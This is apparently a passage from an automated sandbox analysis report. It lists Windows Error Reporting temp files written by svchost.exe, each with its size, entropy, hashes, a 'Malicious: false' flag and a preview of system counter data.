Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6AD4.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697954348359094
Encrypted:	false
SSDEEP:	96:TiZYW1bNJCJYHY/GdOHvYEZPbtAi1LolBw3+rPvAaQ9p2M3OehIgQZ:2ZDAQUl1aQ94M35egQZ
MD5:	29CC781D40A1587742F2AF0106881CC6
SHA1:	17CCA545B2B9A4BCF5301F3CF8495AA16154D491
SHA-256:	EB1C7B4D93D74E02079F6A8227277F3D9AA26643467472103B3E10CE139E2F46
SHA-512:	8097F32188D24B5D27CE6CF903078550D765DECC7E34076ACAEDB662DA1DEAC351FB2566FE25596996BA34682BE14F920FCC7BFEF30DE383C4C19ADBEA078C13
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79C.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89100
Entropy (8bit):	3.0749291482389722
Encrypted:	false
SSDEEP:	1536:WEkh0re/RW85boYBaVfsfPSiPeM2iOjsyWRsgLVLWkaFjCFe:WEkh0re/RW85boYBaVfsfPSiPeM2iksA
MD5:	FFB697BB93D5C57DD3E4F6037A2E1D90
SHA1:	6B7AD0E62B82098BDB4EC2B81342FEC2C364850F
SHA-256:	65D30AD5F85B2F3EBD2F9734194DFF219E16238522B05F6FAC197D21547C8CD3
SHA-512:	B8D8F3299995C30AD101F03507ADF3EF199AF05CB7CC559768C52D35C36D06DB33BC54DEE823F3A888ACA152E8BEE06244F5F1E59A9F65095C2531FBA2950B5E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7EBA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	91308
Entropy (8bit):	3.07251869668739
Encrypted:	false
SSDEEP:	1536:tZ8LK7ZdDrpEACbWUPfYau3zQDAjsyWRsgLVOwkUkrqM:tZ8LK7ZdDrpEACbWUPfYau3zQD+syWRm
MD5:	EA72092316D89BF5D0504D69EF231133
SHA1:	05E56429F6969CF54F86E7E5CACC8C330C9897A7
SHA-256:	490A951B49B76B22CA7B47CD3DDFEFD8F7E65723B80572016E0BFC1996160F37
SHA-512:	4248CDF733736E62EDA6C560DBF3E2302F893627AC27EBE6B489BD3EBCE16C4B3771D0D26D50FCC2F7869DD0939EB3CA8585920130C53F729711D01501A4519B
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8003.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6870004932686524
Encrypted:	false
SSDEEP:	96:TiZYWNllTOUDY+YCkWzGHWnYEZbJtAiq4alSZwjzFaHLEMI/YpQIR+Z3:2ZDN35tvpGpaHLEMI/YpnR+Z3
MD5:	5F44638AC166584179E38D352395FB8C
SHA1:	EB01832E1E4770194A83BE35C9402C254B2A518A
SHA-256:	0EE1350FB19EB32B22D9B70D0BFFE0C18211E11936DBACE5EC4990224C22251D
SHA-512:	1FAF98F80361210C9AD8A7E74E51BAC2A7A0A93822638B5B572A4FA34F49E8B388D17ADFF35B67A22AFBFD3568752B040520EF633356E5BBDF422BFFCAA94165
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER812B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90120
Entropy (8bit):	3.0719934014243755
Encrypted:	false
SSDEEP:	1536:l0zdo4JxDTCrVc3Aje7cjsyWRsgLVoJfzZO3E2rbN:l0zdo4JxDTCrVc3Aje7KsyWRsgLVoJfa
MD5:	A173F95AEC934C676613A923854F52DD
SHA1:	8ACACC84B4438DE1ACF8175D92D40DF90BB9B99A
SHA-256:	D269FE2618E114C6D223407537ED3DD95C96772F182C8313053EB0458CC46B7A
SHA-512:	9D9EE950072AFF3A44BE3A0DA06259336CA33BA7F78F335898A4264188D55F8C7610050D1357FE785131AB8812D94E745FE9B394DFAAB2059655FB2397947AF7
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER81A9.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698548940265462
Encrypted:	false
SSDEEP:	96:TiZYWtgq5E6YaYkGqKHdYEZKU2tAitLSKlGwZU3Ja39eMKhhIhQZ:2ZDZztXRUnSQa39eMKhehQZ
MD5:	750F671363837CFACD2A0993581AB224
SHA1:	D0D6F93F6ACAE93D1A6D962EC36675923B38D556
SHA-256:	42BB7C98FAE435ECFE28B59127B181BD0E072E74A89559298CB4A8CD89731803
SHA-512:	0815CFB52E7938FBF892FD4DCC12F41DDBD00184ACD13FB8D877C97914BEBD255DEB0128FAC92EC8AB3F0455EF79957D8A327321377D42A5FFB44075372D0F55
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER82A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696632737886802
Encrypted:	false
SSDEEP:	96:TiZYWnCxKUre3YgYMGvUHnYEZSsutAirjL2lSkwZVpRWao9OGMAOeYIyQZ:2ZDneI37EMao9OGMA5/yQZ
MD5:	72467C43E3D7C2AD4A66A406F530E17F
SHA1:	2D22F62F1A79556EFDC0B2BD46A9DC408DCAFAB5
SHA-256:	7C59761AB3AE23625AA77CBD47A566DEA274870007399DA95F4F41BA2E4B3358
SHA-512:	9F0F76E43445822B7FEFD98758292C928571EA77D5198F5C55CAB29D1146B6C39E62BEB4BBBC3E0B86D04AEFA2CF8A7C72276AE000E50868C494F250A2E5722A
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER865D.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90972
Entropy (8bit):	3.073582508182094
Encrypted:	false
SSDEEP:	1536:eHd8ax7ZrIpyA0bHrPxYaa+RDrjsyWRsgLVYPw8lO:eHd8ax7ZrIpyA0bHrPxYaa+RD3syWRsm
MD5:	21B721A874B1D11472941F7333B3FBED
SHA1:	2059549C733D1B24E373B9A371DFD16BB8372409
SHA-256:	BAF78F0EEC3A379188827A4023E1FBD0E815C39C0F04209105DB6B0C8D813CFF
SHA-512:	DD58CBCEBD3BFE9025ACCBCF7260CAFF61B502F52374F458D171C4B6A8C958EF26CB90EFF0ADF4A38CC9C2E3D09822FA83D1D12BFC86385A52C78E450A037D1E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER87C6.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6874730249906817
Encrypted:	false
SSDEEP:	96:TiZYWb1tr0sbYWYaW1HWnYEZs1tAiq4flSQwpbKadLLMa/8IwQ3:2ZD/VbxnK4uadLLMa/7wQ3
MD5:	E87852742A76D79EB720502EDE27223F
SHA1:	0452D201BF294B929E28E6F61DC527C2DC43D5BA
SHA-256:	A8FBE1529F22DE2EA4FC0DA5E29C171360BB8EDCCCD5F7B6E73B655FAD2BB0C8
SHA-512:	793F2E53562563A4CD2C86697F4977255EA7A13FEA43448EA8A3091FF2F3563C0C19039C2655E933C75BE3C208C8B4A20CCA9212932D12F1AD029710E2B5CDF5
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F26.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90048
Entropy (8bit):	3.0734503771186144
Encrypted:	false
SSDEEP:	1536:jFT9JRAgqTeTa3cmPY6xLW7wjsyWRsgLV18kZ/f4G:jFT9JRAgqTeTa3cmPY6xLW7usyWRsgL5
MD5:	D91C26005293C76C31EBDBCEA162B9CE
SHA1:	9BB1093BF9C6036F4D6CED673A5EE1D5BAE39A8B
SHA-256:	98ADE5EC34105DE5D31AEA592511BF0A0B22BBDDA84BD8264A4E138F96A01CC0
SHA-512:	AE0F5339329208B904F6567082302DBAF4EBFD7220BAA964AE1F53DDC76710F53ABB8DF33FB76C754A1E2E935BB6061A465E927774BF78E2A4B5CEA29FD123F3
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8FB4.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6980238010897533
Encrypted:	false
SSDEEP:	96:TiZYW5BSf+LY5Y8GIHpYEZHHtAiTLUlIjwi+MIywaD9bMVOe6IiQZ:2ZDXO797oraD9bMV5tiQZ
MD5:	25709B93901A90E12F983728707369A7
SHA1:	867375B30C3D14D7ED838D20C12F5B5F1CB667D5
SHA-256:	2BC46C7D9004968FCD988E7DD2770A8D9EC05BA97564BA446143E4905D954CB1
SHA-512:	9C30AF2EF15B4C5ACE519F3A4D322B66D3CF86088423D2290F65C7829CF47EF36D4060622189E009A982DEC062799D41C3B8ECFE900FA220B037355709DE7DC4
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . 